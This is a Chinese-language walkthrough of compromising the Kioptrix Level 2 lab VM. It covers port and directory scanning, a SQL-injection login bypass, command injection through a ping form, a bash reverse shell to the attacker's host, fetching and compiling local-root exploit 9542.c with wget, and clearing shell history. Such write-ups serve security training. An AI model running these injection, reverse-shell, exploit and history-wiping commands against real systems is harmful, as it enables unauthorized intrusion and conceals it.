声明!
文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
工具链接:https://pan.quark.cn/s/530656ba5503
一、准备阶段
复现请将靶机ip换成自己的
kali: 192.168.108.130
靶机:192.168.108.136
1. 找出ip端口和服务信息
扫出ip
nmap -sn 192.168.108.0/24
扫出端口
nmap -p 1-65535 192.168.108.136
一般扫描出端口后,尝试去访问web页面,但是只有一个登录界面
端口对应服务信息
nmap -sV 192.168.108.136
服务信息
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
可利用信息
OpenSSH 3.9p1
Apache httpd 2.0.52
MySQL (unauthorized)
CUPS 1.1
2. 目录扫描
dirb http://192.168.108.136/
可以看到扫出很多目录,但都是在**http://192.168.108.136/manual** 这个大目录下
访问此目录**http://192.168.108.136/manual**,寻找可能利用的信息
3. 漏洞扫描
nmap扫描漏洞
nmap 192.168.108.136 -p 22,80,111,443,631,3306 -oA --script=vuln
会有很多漏洞
searchsploit查找漏洞
searchsploit Apache httpd 2.0.52
searchsploit OpenSSH 3.9p1
searchsploit MySQL (unauthorized)
searchsploit CUPS 1.1
二、获取权限
1. 访问web服务
结合开放的mysql3306 端口,可以尝试sql注入攻击,
输入万能密码尝试
出现以下界面
可以看到是要进行ping命令,但是没有ping的框架,
查看源代码发现以下信息
发现登录框被闭合了
方法1
打开burpsuite抓包,在拦截设置,选择拦截响应包
点击此处,然后关闭拦截即可
删除' 然后放包
此时就可以进行ping了
方法2
找到需要插入的地方,右键编辑html 将代码复制到这里,并将align='center> 修改align="center">
可以看到也是可以的
2. ping命令
在ping之前先了解一下url中的的一些符号
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
ping靶机
输入以下命令
192.168.108.136;ls
发现成功回显,并且经过测试,并不存在过滤的情况
3. 反弹shell
这里我们使用bash反弹
开启监听端口,端口选用kali空闲端口即可
nc -lvvp 4444
执行以下代码
127.0.0.1;bash -i >& /dev/tcp/192.168.108.130/4444 0>&1
/dev/tcp/你的kali的ip/开启的端口
可以看到反弹成功
三、提权
查询版本信息
uname -a
lsb_release -a
信息如下
Linux kioptrix.level2 2.6.9-55.EL
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
可以知道是centos4.5版本,查找该版本漏洞
找到漏洞利用脚本
利用searchsploit命令下载脚本,这里可以看我之前总结的命令使用详情
searchsploit命令大全
searchsploit centos 4.5 -m 9542.c
下载成功
开启web服务
sudo python -m http.server 80
成功上传
在目标主机上下载脚本
cd /tmp
wget http://192.168.108.130:80/9542.c
下载成功
编译脚本
gcc 9542.c
chamod 777 a.out
./a.out
提权成功
可以看到是有命令记录的,为了更严谨,最后每次复现完,退出的时候清除历史命令
history -c